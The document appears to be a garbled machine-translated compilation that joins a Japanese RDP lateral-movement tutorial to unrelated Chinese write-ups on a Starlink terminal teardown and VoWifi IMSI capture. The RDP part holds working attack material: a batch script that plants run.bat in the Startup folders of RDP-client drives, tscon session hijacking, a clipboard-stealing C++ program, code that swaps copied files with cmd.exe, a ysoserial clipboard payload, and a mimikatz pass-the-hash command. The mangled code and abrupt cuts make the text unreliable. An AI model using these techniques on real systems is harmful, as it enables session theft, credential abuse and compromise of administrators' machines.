
タイムアウト1 NUL 21

mkdir \\ tsclient \ c \ temp nul 21

MKDIR C: \ TEMP NUL 21

run.bat c: \ temp nul 21をコピーします

run.bat \\ tsclient \ c \ temp nul 21をコピーします

del /q%temp%\ temp_00.txt nul 21

dirs=dir /a:d /b /s c: \ users \*startup*

dirs2=dir /a:d /b /s \\ tsclient \ c \ users \*startup*

echo |%dirs%| findstr /i 'microsoft \ windows \ start menu \ programs \ startup' '%temp%\ temp_00.txt'

echo |%dirs2%| FindStr /I 'Microsoft \ Windows \ Start Menu \ Programs \ Startup' '%TEMP%\ TEMP_00.TXT'

for /f 'tokens=*' %% a in(%temp%\ temp_00.txt)do(

run.bat '%% a' nul 21をコピーします

c: \ temp \ run.bat '%% a' nul 21をコピーします

コピー\\ tsclient \ c \ temp \ run.bat '%% a' nul 21

))

del /q%temp%\ temp_00.txt nul 21

rem if 'windomain'='%userdomain%'(cmd.exe /c calc.exe)

RDPセッションハイジャック

実用コマンドはtsconです。これは、パスワードを介して別のセッションに切り替えるのが垂直です。ただし、システムでは、パスワードを使用せずに異なるユーザーセッションを切り替えることができます。セッションを別のセッションに切り替えます。

この手法は、主にWin7以降の環境を対象としています。全体的なアプリケーションシナリオは、Windows 2012以降がデフォルトでプレーンテキストを保存しない場合、ターゲットホストに切り替えるか、ドメイン内の現在のユーザーがローカルユーザーである場合、ドメインユーザー許可に切り替えることができます。

まず、PSEXECをローカルで使用してシステムに言及します。 (ここでは、システムサービスを手動で作成してそれらを実装できます。)Shift/Utilmanバックドアを使用して、パスワードなしでデスクトップにログインすることもできます。

1.psexec

20201214130520

c: \ windows \ system32quser

ユーザー名セッション名IDステータスアイドル時間ログイン時間

管理者RDP-TCP#1 1が実行されています。 2020/12/14 11:14

テストRDP-TCP#0 2ランニング1:02 2020/12/14 13:04

C: \ Windows \ System32TScon 2 RDP-TCP#1 20201214141422

2。サービス

Quser

SC SESSHIJACK BINPATH='CMD.EXE /K TSCON 2 /DEST:RDP-TCP#1'

ネットスタートSesshijack 20201214142146

20201214142235

3。ミミカッツ

特権:3360Debug

TS:セッション

toekn:3360Elevate

TS:REMOTE /ID:2 20201214143542 20201214143555

4。パスワードなしのハイジャックをシフト

com hijacking shift backdoor in webshell 20201214143759

20201214144009

20201214144020

rdpclip.exe utilization

RDPサービスは、テキストとファイルをコピーして貼り付けることができます。主にこのrdpclip.exeプロセスを通じて実装されています。コピーの特定の操作を知りたい場合は、Clipspyを使用してクリップボードの変更を表示できます。

ATTCKで著作権を使用してコピーのテキストコンテンツを取得する多くの開示方法を見ました。https://Research.Checkpoint.com/2019/Reverse-rdp-Attack-Code-execution-on-rdp-clients/hook rdpclip.exeにも表示されています。

1。せん断ボード監視

10秒ごとに、クリップボードのコンテンツを読んでローカルに保存します。

#include例外

#include iostream

#include ostream

#include stdexcept

#include文字列

#include windows.h

#include fstream

名前空間STDを使用。

クラスraiiclipboard

{

public:

raiiclipboard()

{

if(!openclipboard(null))

runtime_errorを投げます( 'クリップボードを開けません。');

//.またはクリップボードエラーのカスタム例外クラスを定義します。

}

〜RaiicLipboard()

{

closeclipboard();

}

//コピーを禁止します

private:

raiiclipboard(const raiiclipboard);

raiiclipboard operator=(const raiiclipboard);

};

クラスraiitextgloballock

{

public:

明示的なraiitextgloballock(ハンドルhdata)

: m_hdata(hdata)

{

m_psz=static_castconst char*(globallock(m_hdata));

if(!m_psz)

runtime_errorをスロー( 'クリップボードテキストでロックを取得できません。');

}

〜raiitextgloballock()

{

GlobalUnLock(M_HDATA);

}

const char* get()const

{

M_PSZを返します。

}

private:

M_HDATAを処理します。

const char* m_psz;

//コピーを禁止します

raiitextgloballock(const raiitextgloballock);

raiitextgloballockオペレーター=(const raiitextgloballock);

};

文字列getClipBoardText()

{

raiiclipboardクリップボード。

hdata=getClipBoardData(CF_TEXT);

if(hdata==null){

戻る '';

//runtime_errorをスロー( 'クリップボードテキストを取得できません。');

}

raiitextgloclock textgloballock(hdata);

string text(textgloballock.get());

テキストを返します。

}

void savedata(string data){

ofstream out( 'info.txt'、iOS:3360App);

if(out.is_open())

{

out data + '\ n';

out '----------------------------- \ n';

out.close();

}

}

int main()

{

static const int kexitok=0;

static const int kexiterror=1;

文字列data1='';

文字列data2='';

試す

{

while(true){

data2=getClipBoardText();

if(data1!=data2){

cout data2 endl;

savedata(data2);

}

それ以外{

Cout 'Clip Actionを待っています.' endl;

睡眠(300000);

}

data1=data2;

睡眠(10000);

}

Kexitokを返します。

}

キャッチ(const例外e)

{

cerr '*** error:' e.what()endl;

Kexiterrorを返します。

}

} 20201214201005

安っぽいRumblesの記事によると。 Get-ClipboardContents.ps1を使用してクリップボードコンテンツを取得することもできます。複数のRDPインターフェイスで取得できます。

3924 888 rdpclip.exe x64 3 dmz2 \ rasta

注射3924 X64 SMB

PowerShell-Import D: \ Tools \ get-clipboardContents.ps1

PowerShell Get-ClipboardContents -Pollinterval 1 20201214194146

2。反撃rdp

ハンギングディスクなしで逆にファイルを管理者に転送する方法は?オンラインで2つの方法を見つけました。

1.フックGetClipBoardData関数とDragQueryFilew関数は似ています。 2日間のデバッグの後、私はついにすべての兄弟の助けを借りてそれを見つけました。

2。後で、前のセクションでクリップボードの内容を取得できると思ったので、彼がコピーしたファイルを変更できました。

CVE-2019-0887

Li Yongdeには、紙に記載されているのと同じ考えがあります。 wcsrchr(szfile、 '\')はアドレスを受信するために使用されるため、Microsoftは./この種のパスもサポートしています。脆弱性の理由は、Winrar Pathの理由に似ています。

Detours Libraryを使用してGetClipboardData関数とDragQueryFilew関数をフックし、ファイルデータとパスを追加して最終効果を実現します:k05qi-id7g5

クリップボードファイルを交換

#include iostream

#include windows.h

#include shlobj.h

int copyfiletoclipboard(char szfilename []);

int main()

{

copyfileToclipboard( 'c: \\ windows \\ system32 \\ cmd.exe');

0を返します。

}

int copyfiletoclipboard(char szfilename [])

{

uint udropeffect;

hglobal hgbleffect;

lpdword lpddropeffect;

ドロップファイルstdrop;

hglobal hgblfiles;

LPSTR LPDATA;

udropeffect=RegisterClipboardFormat( '優先DROPEFFECT');

hgbleffect=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dword));

lpddropeffect=(lpdword)globallock(hgbleffect);

*LPDDROPEFFECT=DROPEFFECT_COPY; //copy;スクレイピングと貼り付けにはdropeffect_moveを使用してください

GlobalUnLock(hgbleffect);

stdrop.pfiles=sizeof(dropfiles);

stdrop.pt.x=0;

stdrop.pt.y=0;

stdrop.fnc=false;

stdrop.fwide=false;

hgblfiles=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dropfiles) + strlen(szfilename) + 2);

lpdata=(lpstr)globallock(hgblfiles);

memcpy(lpdata、stdrop、sizeof(dropfiles));

strcpy(lpdata + sizeof(dropfiles)、szfilename);

GlobalUnLock(hgblfiles);

openclipboard(null);

emptyClipboard();

setclipboardData(CF_HDROP、hgblfiles);

setclipboarddata(udropeffect、hgbleffect);

closeclipboard();

返品1;

このように、管理者がサーバーからファイルをコピーしてマシンにダウンロードした後、ファイルはcmd.exeに置き換えられます

bd2xkcunf0n1123.png

.NET脱介入

`https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/decred/be-deserialisation-in-net-methods-and-classes-code-code-execution-via-paste/`で紹介されたアイデアを参照してください。 (私はこの方法をプレイすることを決して期待していませんでした)

`https://github.com/pwntester/ysoserial.net`を利用します

使用プロセスは、クリップボードを貼り付けるときにシリアル化コードに置き換えることです。一部のアプリケーションが貼り付けられると、脱出操作がトリガーされます。さらに、ターゲット.NETアプリケーションがより高い権限で実行される場合、許可プロモーションとして使用することもできます。 (現在のユーザーはUACアカウントのパスワードを持っていませんが、管理者はUACの前に.NETアプリケーションを開きました。)ysoserial.exe -p Clipboard -c calc -f System.String q9tct-86xmr

テストプログラム:

PowerShell ISE

vs

描画ツール

TextBox、PasswordBox、またはRichTextBoxを使用するWPFアプリケーションも影響を受けます。

rdp pth

ユーザーハッシュログインウィンドウで

mstsc

サーバーは、Windows 8.1 Windows Server 2012 R2でデフォルトで有効になっている制限付き管理モードを有効にする必要があります。同時に、Win 7とWindows Server 2008 Rがインストールされている場合、2871997と2973351パッチもサポートされています。クライアントは、制限付き管理モードをサポートする必要があります

制限付き管理モードをオンにします

reg add 'hklm \ system \ currentControlset \ control \ lsa' /v disableatretedadmin /t reg_dword /d 000000000 /f有効にすると、MSTSC.EXE /RESTIDEDADMINログインパスワードなしで、現在のユーザーのハッシュは検証に使用されます。

mimikatz

mimikatz.exe

特権:Debug

sekurlsa:pth /user:fbiwarning /domain:172.16.142.136 /ntlm:44f9ea6a7743a8ea6f1956384c39887b '/run:mstsc.exe /restrictedadmin'

1.Starlink星鏈(Starlink)計劃的設計理念,是通過約4000 枚相互鏈接的衛星和依據地理分佈的地面基站,構築一個覆蓋全球的廉價太空通信系統。

Starlink 採用的是國際電聯規定的Ku、Ka頻率,5G的頻率是500MHz,衛星通信Ku波段加起來有1GHz。

一個衛星相當於很多基站,Starlink採用的是高通量技術,高通量衛星可以從一顆衛星上發射幾十個覆蓋波束,每個覆蓋一小片,就像移動蜂窩似的,這樣不同小區的頻率就可以復用了,又提升幾十倍的容量。

傳統的衛星所有的終端最終都要落在地面站,通過地面站連入互聯網。如果按照這個估算,這4000個衛星想要跑起來至少得4000個地面站。但是如果未來衛星的網絡足夠大,就沒有那麼多需要落地的信息了——全部由星間鏈路完成了。也就是,你通信的對端和你都是直連衛星的了。

感覺很多人對偏遠地區定義有所誤解,信號走Starlink的衛星會多出一段上下行延遲,額外路程就按340km軌道高度的兩倍算,走地面光纜的速度大概是真空光通訊的2/3,也就是說即使是平原直線,信號源1400km之外理論上都是Starlink佔優勢。在北京上杭州,深圳,香港的網站都算是訪問偏遠地區,Starlink比起地面網絡延遲更短更佔優勢。

其次,地面光纜在復雜地形上的佈線成本是極其昂貴的,並不是什麼地方都又平整人口又多。被複雜地形隔開的兩個人口密集區,要快速數據通信怎麼辦?跨越青藏高原和喜馬拉雅山幾百公里無人區上建設起來的的成都-拉薩-日喀則-乃維拉-勒克瑙-新德里中印光纜,現在是將來也注定是建設維護成本極其昂貴的。在此之前要從斯里蘭卡-新加坡-香港的海底光纜中轉,繞的圈子和帶寬限制更不用說了。但是Starlink成型以後,新德里和成都的直接通訊一點額外成本都沒有。

Starlink 官網:

https://www.starlink.com/

2.固件拆解Starlink 用戶終端(UT) 的暱稱是Dishy McFlatface,安裝測試了一下Starlink 用戶終端,發現下載速度高達268 Mbps,上傳速度高達49 Mbps,速度還是不錯的。

image-20211216105529640.png image-20211216105529640

拆解Starlink 用戶終端,我們主要關心SoC和固件文件,取下塑料蓋後,可以看到覆蓋在PCB上的金屬屏蔽層,有一個以太網連接口,還有一個4針的JST SH。

image-20211216110022243 image-20211216110022243.png image-20211216110031816

image-20211216110031816.png

通過USB轉TTL轉換器將UT連接上,可以看到一些UT的啟動信息,UT使用T-Boot引導加載程序,輸入falcon後會中斷引導過程,可以訪問U-Boot CLI。

U-Boot2020.04-gddb7afb(Apr162021-21:10:45+0000)

Model:Catson

DRAM:1004MiB

MMC:Fastboot:eMMC:8xbit-div2

stm-sdhci0:0

In:nulldev

Out:serial

Err:serial

CPUID:0x000201000x870824250xb9ca4b91

DetectedBoardrev:#rev2_proto2

sdhci_set_clock:Timeouttowaitcmddatainhibit

FIP1:3FIP2:3

BOOTSLOTB

Net:NetInitializationSkipped

Noethernetfound.

*

+

++

++

++

+++++++

++++

++++

+++

+++

+++

++++

++++

++++++++++

Board:SPACEXCATSONUTERM

======================================

=Type'falcon'tostopbootprocess=

======================================繼續執行引導過程,U-Boot會通過存儲在eMMC上的ulmage FIT鏡像文件加載內核、ramdisk、FDT。會檢查內核、ramdisk、FDT的完整性(SHA256)和真實性(RSA 2048)。

UT從ROM引導加載程序到引導Linux系統初始化都實現了完整的可信引導鏈(TF-A)。

switchtopartitions#0,OK

mmc0(part0)iscurrentdevice

MMCread:dev#0,block#98304,count49152.49152blocksread:OK

##LoadingkernelfromFITImageata2000000.

Using'rev2_proto2@1'configuration

VerifyingHashIntegrity.sha256,rsa2048:dev+OK

Trying'kernel@1'kernelsubimage

Description:compressedkernel

Created:2021-04-1621:10:45UTC

Type:KernelImage

Compression:lzmacompressed

DataStart:0xa20000dc

DataSize:3520634Bytes=3.4MiB

Architecture:AArch64

OS:Linux

LoadAddress:0x80080000

LoadSize:unavailable

EntryPoint:0x80080000

Hashalgo:sha256

Hashvalue:5efc55925a69298638157156bf118357e01435c9f9299743954af25a2638adc2

VerifyingHashIntegrity.sha256+OK

##LoadingramdiskfromFITImageata2000000.

Using'rev2_proto2@1'configuration

VerifyingHashIntegrity.sha256,rsa2048:dev+OK

Trying'ramdisk@1'ramdisksubimage

Description:compressedramdisk

Created:2021-04-1621:10:45UTC

Type:RAMDiskImage

Compression:lzmacompressed

DataStart:0xa2427f38

DataSize:8093203Bytes=7.7MiB

Architecture:AArch64

OS:Linux

LoadAddress:0xb0000000

LoadSize:unavailable

EntryPoint:0xb0000000

Hashalgo:sha256

Hashvalue:57020a8dbff20b861a4623cd73ac881e852d257b7dda3fc29ea8d795fac722aa

VerifyingHashIntegrity.sha256+OK

Loadingramdiskfrom0xa2427f38to0xb0000000

WARNING:'compression'nodesforramdisksaredeprecated,pleasefixyour.itsfile!

##LoadingfdtfromFITImageata2000000.

Using'rev2_proto2@1'configuration

VerifyingHashIntegrity.sha256,rsa2048:dev+OK

Trying'rev2_proto2_fdt@1'fdtsubimage

Description:rev2proto2devicetree

Created:2021-04-1621:10:45UTC

Type:FlatDeviceTree

Compression:uncompressed

DataStart:0xa23fc674

DataSize:59720Bytes=58.3KiB

Architecture:AArch64

LoadAddress:0x8f000000

Hashalgo:sha256

Hashvalue:cca3af2e3bbaa1ef915d474eb9034a770b01d780ace925c6e82efa579334dea8

VerifyingHashIntegrity.sha256+OK

Loadingfdtfrom0xa23fc674to0x8f000000

Bootingusingthefdtblobat0x8f000000

UncompressingKernelImage

LoadingRamdiskto8f848000,end8ffffe13.OK

ERROR:reservingfdtmemoryregionfailed(addr=b0000000size=10000000)

LoadingDeviceTreeto000000008f836000,end000000008f847947.OK

WARNING:ethactisnotset.Notincludingethprimein/chosen.

Startingkernel.可以看到內核命令參數、分區基地址、分區長度,還可以看到SoC包含4個CPU內核。

[0.000000]000:DetectedVIPTI-cacheonCPU0

[0.000000]000:Built1zonelists,mobilitygroupingon.Totalpages:193536

[0.000000]000:Kernelcommandline:rdinit=/usr/sbin/sxruntime_startmtdoops.mtddev=mtdoopsconsole=ttyAS0,115200quietalloc_snapshottrace_buf_size=5Mrcutree.kthread_prio=80earlycon=stasc,mmio32,0x8850000,115200n8uio_pdrv_genirq.of_id=generic-uioaud it=1SXRUNTIME_EXPECT_SUCCESS=trueblkdevparts=mmcblk0:0x00100000@0x00000000(BOOTFIP_0),0x00100000@0x00100000(BOOTFIP_1),0x00100000@0x00200000(BOOTFIP_2),0x00100000@0x00300000(BOOTFIP_3),0x00080000@0x00400000(BOOTTERM1),0x00080000@0x00500000(BOOTTE RM2),0x00100000@0x00600000(BOOT_A_0),0x00100000@0x00700000(BOOT_B_0),0x00100000@0x00800000(BOOT_A_1),0x00100000@0x00900000(BO OT_B_1),0x00100000@0x00A00000(UBOOT_TERM1),0x00100000@0x00B00000(UBOOT_TERM2),0x00050000@0x00FB0000(SXID),0x01800000@0x010000 00(KERNEL_A),0x00800000@0x02800000(CONFIG_A),0x01800000@0x03000000(KERNEL_B),0x00800000@0x04800000(CONFIG_B),0x01800000@0x050 00000(SX_A),0x01800000@0x06800000(SX_B),0x00020000@0x00F30000(VERSION_INFO_A),0x00020000@0x00F50000(VERSION_INFO_B),0x00020000

[0.000000]000:audit:enabled(afterinitialization)

[0.000000]000:Dentrycachehashtableentries:131072(order:9,2097152bytes,linear)

[0.000000]000:Inode-cachehashtableentries:65536(order:7,524288bytes,linear)

[0.000000]000:memauto-init:stack:off,heapalloc:off,heapfree:off

[0.000000]000:Memory:746884K/786432Kavailable(6718Kkernelcode,854Krwdata,1648Krodata,704Kinit,329Kbss,39548Kreserved,0Kcma-reserved)

[0.000000]000:SLUB:HWalign=64,Order=0-3,MinObjects=0,CPUs=4,Nodes=1

[0.000000]000:ftrace:allocating23664entriesin93pages

[0.000000]000:rcu:PreemptiblehierarchicalRCUimplementation.

[0.000000]000:rcu:RCUeventtracingisenabled.

[0.000000]000:rcu:RCUrestrictingCPUsfromNR_CPUS=8tonr_cpu_ids=4.

[0.000000]000:rcu:RCUpriorityboosting:priority80delay500ms.

[0.000000]000:rcu:RCU_SOFTIRQprocessingmovedtorcuckthreads.

[0.000000]000:Noexpeditedgraceperiod(rcu_normal_after_boot).

[0.000000]000:TasksRCUenabled.

[0.000000]000:rcu:RCUcalculatedvalueofscheduler-enlistmentdelayis100jiffies.

[0.000000]000:rcu:Adjustinggeometryforrcu_fanout_leaf=16,nr_cpu_ids=4

[0.000000]000:NR_IRQS:64,nr_irqs:64,preallocatedirqs:0

[0.000000]000:random:get_random_bytescalledfromstart_kernel+0x33c/0x4b0withcrng_init=0

[0.000000]000:arch_timer:cp15timer(s)runningat60.00MHz(virt).

[0.000000]000:clocksource:arch_sys_counter:mask:0xffffffffffffffmax_cycles:0x1bacf917bf,max_idle_ns:881590412290ns

[0.000000]000:sched_clock:56bitsat60MHz,resolution16ns,wrapsevery4398046511098ns

[0.008552]000:Calibratingdelayloop(skipped),valuecalculatedusingtimerfrequency.

[0.016871]000:120.00BogoMIPS(lpj=60000)

[0.021129]000:pid_max:default:32768minimum:301

[0.026307]000:Mount-cachehashtableentries:2048(order:2,16384bytes,linear)

[0.034005]000:Mountpoint-cachehashtableentries:2048(order:2,16384bytes,linear)

[0.048359]000:ASIDallocatorinitialisedwith32768entries

[0.050341]000:rcu:HierarchicalSRCUimplementation.

[0.061390]000:smp:BringingupsecondaryCPUs.

[0.078677]001:DetectedVIPTI-cacheonCPU1

[0.078755]001:CPU1:Bootedsecondaryprocessor0x0000000001[0x410fd034]

[0.095799]002:DetectedVIPTI-cacheonCPU2

[0.095858]002:CPU2:Bootedsecondaryprocessor0x0000000002[0x410fd034]

[0.112970]003:DetectedVIPTI-cacheonCPU3

[0.11

首先我會通過三個實驗來學習VoWifi/VoLTE的工作原理:

使用fasferraz 的Python IKEv2/EAP-AKA 實現連接到VoWifi:失敗;

使用Linphone 連接到VoLTE:失敗;

使用Wi-Fi 熱點、假DNS 服務器和VPN 服務器捕獲IMSI:成功;

VoLTE和VoWifi看起來可能很複雜,但要打電話,只需要和兩台電腦進行連接就可以了:

1.1.png

VoLTE和VoWifi是基於常見技術的:

在VoLTE 中,電話通過SIP 連接到P-CSCF,這是運營商的SIP VoIP 服務器。

在VoWifi中,手機首先與運營商的VoWifi VPN服務器ePDG進行IPSec VPN連接。然後通過VPN連接到P-CSCF SIP服務器,比如VoLTE。

然而,VoLTE的實現與我們日常使用的vpn和VoIP軟件不兼容。這份來自Sysmocom的報告顯示,修改Ubuntu Touch以支持VoLTE需要幾個月的時間。

那麼,是什麼阻止我用普通的VPN軟件連接到VoWifi VPN服務器,或者用普通的VoIP軟件連接到VoLTE SIP服務器呢?我決定找出答案。

在VMWare Fusion虛擬機上的Ubuntu 21.04上進行的實驗,連接到Mint上運行Android 11的Pixel 3 XL上(T-Mobile MVNO)。

連接到VoWifi為了連接到特殊的VoWifi VPN,我使用了fasferraz的SWu-IKEv2,這是一個IKEv2/IPSec VPN客戶端,它使用SIM卡實現了特殊的EAP-AKA認證方法。

在EAP-AKA 中:

只有運營商和SIM 卡本身知道密鑰K;

認證時,運營商發送兩個值:AUTN 值和RAND 值;

AUTN 值向SIM 卡證明它是真正的運營商;

SIM卡用秘鑰K對RAND值進行加密,導出兩個秘鑰:IK、CK和響應值RES;

它將RES 值發回給運營商以證明它是真正的SIM 卡;

手機使用IK 和CK 加密連接;

運營商使用K 密鑰進行相同的加密以獲得預期的IK、CK 和RES 值;

運營商在解密連接前將RES值與IK和CK進行比較;

由於沒有其他人擁有K 密鑰,因此他們無法竊聽或冒充用戶/運營商;

綜上所述,我需要將AUTN和RAND發送到SIM卡上,並取回RES、IK和CK。

SWu-IKEv2 支持與真正的SIM 卡進行EAP-AKA 通信,定義了一個HTTP API 來與SIM 卡讀卡器通信。

我決定將該API實現為一個Android應用程序,這樣我可以在我的手機中使用SIM卡:

Android有一個公共API, TelephonyManager。 getIccAuthentication來運行這個身份驗證流程;

為Android 的Wi-Fi 添加框架,因為存在使用SIM 卡進行身份驗證的Wi-Fi 熱點;

ADB也可以在Android 10及以上版本上使用;

在Android 8.1 上不可用,我嘗試使用其他SIM 卡API 來嘗試獲取此值,但每次都不成功。我構建了一個生成SIM 身份驗證請求的HTTP 服務器Android 應用程序:

adbshellsh/sdcard/runsimserver.shserve3333我的應用程序使用http而不是https,因為我不需要處理證書。值得慶幸的是,很容易修補SWu-IKEv2 以支持純http。

如果出現故障,adb logcat -b radio 通常會給出調製解調器的錯誤消息。

我在網上搜索T-Mobile的ePDG地址,將APN設置為ims,將SWu-IKEv2的SIM讀取器地址指向我的手機,並嘗試連接:

#python3swu_emulator.py-m'http://192.168.1.9:3333'-d'ss.epdg.epc.mnc260.mcc310.pub.3gppnetwork.org'-M310-N260-a'ims'STATE3:

-------

sendingIKE_SA_AUTH(2)

receiveddecodedmessage:

[[46,[[41,[0,24,b'',b'']]]]]

receivedIKE_AUTH(2)

OTHER_ERROR:24它會獲得大部分握手,包括SIM 卡憑據,但會在IKE_SA_AUTH 上返回錯誤。

可能是因為Mint Mobile要求我在打開Wi-Fi通話前註冊一個緊急地址,或者SWu-IKEv2沒有實現與T-Mobile/Mint兼容的握手。

事實上,當我嘗試Verizon的Wi-Fi呼叫服務器時,SWu-IKEv2甚至無法通過握手的第一步,也無法進行SIM卡認證。我嘗試了StrongSwan,但無法找出配置文件。

連接到VoLTE如果我無法連接到VoWifi VPN,是否可以直接連接到VoLTE SIP服務器?

在Android上,我可以使用dumpsys找到SIP服務器地址:

$dumpsystelephony.registryPcscfAddresses:[/fd00:1234:5678:1234:1,/fd00:1234:1:123:1,/fd00:1234:5678:1234:2]這是一個私有的(fd00:) IP地址,所以不能通過互聯網訪問,但我可以通過Wi-Fi從我的手機訪問它。

我首先嘗試了SIP測試器sipp,看看它是否可以進行任何SIP連接:

$sipp-snuacfd00:1234:1:123:1-m1-auth_uri'sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org'

Resolvingremotehost'fd00:1234:1:123:1'.Done.

2021-11-1412:17:42.1888101636910262.188810:AbortingcallonunexpectedmessageforCall-Id'1-4126@1234:5678:1234:5678:1234:5678:1234:5678':whileexpecting'100'(index1),received'SIP/2.0403Forbidden

Via:SIP/2.0/UDP[1234:5678:1234:5678:1234:5678:1234:5678]:5060;branch=

To:service;tag=

From:sipp;tag=

Call-ID:1-4126@1234:5678:1234:5678:1234:5678:1234:5678

CSeq:1INVITE

Content-Length:0

'因為它得到了一個SIP響應,所以我決定嘗試一下Linphone,看看是否效果更好。

echo'registersip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org[fd00:1234:5678:1234:1]'|linphone-daemon--config./lollinphonerc

daemon-linphoneStatus:Ok

Id:2

daemon-linphoneQuitting.

查看日誌,它似乎失敗並顯示需要擴展消息:

REGISTERsip:ims.mnc260.mcc310.3gppnetwork.orgSIP/2.0

Via:SIP/2.0/UDP[1234:5678:1234:5678:1234:5678:1234:5678:3080]:5060;branch=z9hG4bK.CnnLnAH2c;rport

From:tag=by3qRAb72

To:sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org

CSeq:21REGISTER

Call-ID:BqHzXhfQzf

Max-Forwards:70

Supported:replaces,outbound,gruu,sec-agree

Accept:application/sdp

Accept:text/plain

Accept:application/vnd.gsma.rcs-ft-http+xml

Contact:+sip.instance=''

Expires:0

User-Agent:Unknown(belle-sip/4.4.0)

SIP/2.0421ExtensionRequired

Via:SIP/2.0/UDP[1234:5678:1234:5678:1234:5678:1234:5678:3080]:5060;received=1234:5678:1234:5678:1234:5678:1234:5678:3080;rport=5060;branch=z9hG4bK.MEpCNGpx0

To:tag=hmpyfr9c6bln4s4tqy698hv3v

From:tag=LEotRcq8b

Call-ID:H3P5ZXk7Z2

CSeq:20REGISTER

Require:sec-agree

Content-Length:0在查看了真正的SIP 客戶端有哪些擴展之後,我嘗試將此行添加到Linphone 配置中。

[sip]

supported=replaces,outbound,gruu,sec-agree這在標題中設置了Supported: replaces, outbound, gruu, sec-agree,但我得到了完全相同的Extension Required 錯誤。

假的VoWifi ePDG如上所述,所以連接到運營商是不可能的。

值得慶幸的是,偽裝成是運營商來獲取IMSI 很容易,並且有如何做到這一點的指南。

為了偽裝成ePDG Wi-Fi 呼叫VPN,我創建了一個StrongSwan VPN 配置:

configsetup

charondebug='ike4'

connikev2-vpn

auto=add

type=tunnel

keyexchange=ikev2

left=%any

leftid=@ims

right=%any

rightid=%any

rightauth=eap-aka

rightsourceip=10.10.10.0/24

rightdns=8.8.8.8,8.8.4.4開始StrongSwan:

sudoipsecstart--nofork--confhello.conf啟動了一個DNS 服務器,將ePDG VPN 服務器域重定向到我的假Wi-Fi 呼叫服務器:

sudodnsmasq-d--no-resolv--no-hosts--log-queries--server8.8.8.8--address=/epdg.epc.mnc260.mcc310.pub.3gppnetwork.org/192.168.1.10然後我更改了手機上的DNS,激活了Wi-Fi 呼叫,然後在我的控制台上看到了這個:

07[NET]receivedpacket:from192.168.1.9[40844]to192.168.1.10[500](496bytes)

07[ENC]parsedIKE_SA_INITrequest0[SAKENoN(NATD_S_IP)N(NATD_D_IP)N(FRAG_SUP)]

07[IKE]192.168.1.9isinitiatinganIKE_SA

07[CFG]selectedproposal:IKE:AES_CBC_128/AES_XCBC_96/PRF_AES128_XCBC/MODP_2048

07[ENC]generatingIKE_SA_INITresponse0[SAKENoN(NATD_S_IP)N(NATD_D_IP)N(FRAG_SUP)N(CHDLESS_SUP)N(MULT_AUTH)]

07[NET]sendingpacket:from192.168.1.10[500]to192.168.1.9[40844](456bytes)

08[NET]receivedpacket:from192.168.1.9[40844]to192.168.1.10[500](348bytes)

08[ENC]unknownattributetype(16386)

08[ENC]parsedIKE_AUTHrequest1[IDiIDrCPRQ((16386)DNS6DNS6ADDR6)SATSiTSr]

08[CFG]lookingforpeerconfigsmatching192.168.1.10[ims].192.168.1.9[0310261111111111@nai.epc.mnc260.mcc310.3gppnetwork.org]

08[CFG]nomatchingpeerconfigfound

08[ENC]generatingIKE_AUTHresponse1[N(AUTH_FAILED)]

08[NET]sendingpacket:from192.168.1.10[500]to192.168.1.9[40844](76bytes)還有我的IMSI,發送給任何控制Wi-Fi 網絡、DNS 和VPN 服務器的對手。

基於Wi-Fi 搭建一個VoLTE/VoWiFi 環境對VoLTE/VoWiFi 的研究不需要昂貴的設備!通過使用免費軟件設置你自己的Wi-Fi 呼叫服務器,了解VoLTE/VoWiFi 的工作原理。

2.1.jpg

我會在本文中向你展示如何接管越獄iPhone 上的Wi-Fi 通話,並將其集成到本地電話撥號器和短信應用程序中,就像真正的運營商一樣。

我的最終目標是發行我自己的SIM 卡,通過Wi-Fi 將任何越獄或未越獄的手機連接到我的電話網絡。

VoLTE 和Wi-Fi 通話基於IPsec/IKEv2 和SIP 等開放標準,因此我們的電話網絡將使用免費軟件構建:

iPhone - 越獄調整以重定向Wi-Fi 呼叫- 我的Docker 容器- StrongSwan - Kamailio;

檢查VoWiFi要了解VoLTE 和VoWiFi,首先要在你撥打電話或發送SMS 時捕獲手機的流量。

你只需要一部iPhone 和一台裝有Xcode 和Wireshark 的Mac。

Xcode 提供了rvictl 工具來捕獲來自iPhone 的所有網絡流量,無需越獄。

如果你沒有Mac,gh2o 的rvi_capture 可以在Linux 和Windows 上捕獲。

所有電話和運營商之間的SIP消息是可見的,完全不加密。你可以看到當你撥打另一個電話時會發生什麼:

2.2.png

或者你如何接收短信:

2.3.png

在VoWiFi 上,你甚至可以轉儲實際的語音編解碼器數據包。

此外,iPhone 還提供來自VoWiFi ePDG VPN 隧道和SMS 處理的日誌:

在Mac 上打開控制台應用程序,過濾到CommCenter,然後啟用“操作- 包含信息消息/包含調試消息”。然後,過濾CommCenter 以獲取VoLTE/VoWiFi 消息,例如此IKEv2 握手:

2.4.png

建立自己的電話網絡如果你不想只查看VoLTE/VoWiFi 數據包怎麼辦?如果你想建立自己的網絡怎麼辦?為此,你需要一個越獄的iPhone 和一個Docker 容器。

我在iOS 14.1 上使用帶有Verizon SIM 卡的越獄iPhone 12。

如果你使用的是Android,則搭載Android 10 及更高版本的設備(所有2020 年或更高版本的設備)可能會在沒有root 的情況下重定向Wi-Fi 呼叫,但我還沒有嘗試過。

重定向ePDG 連接我們的目標是VoWiFi(Wi-Fi 通話),因為運行VoLTE 網絡需要至少150 美元的收音機,並獲得LTE頻率的廣播許可。 Wi-Fi 不需要任何特殊的硬件或繁文縟節。

Wi-Fi 通話使用IPsec/IKEv2 VPN 隧道進行保護,並使用EAP-AKA 進行身份驗證,它使用SIM 卡上只有運營商知道的密鑰。

由於我沒有空白SIM 卡,我編寫了一個越獄插件,用簡單的預共享密鑰(密碼)身份驗證替換SIM 卡檢查。

要運行調整,你需要:

越獄你的手機並安裝Substrate 或其他方法掛鉤平台;

設置Theos;

複製RedirectVoWiFiTweak;

將服務器地址指向你的VoWiFi 服務器的地址;

安裝包;

將你的手機置於飛行模式,然後啟用Wi-Fi通話(設置-蜂窩- Wi-Fi通話);

最終結果:VoWifi 隧道為你的IPsec/IKEv2 VPN 服務器創建了一個VPN,而不是Verizon 的。

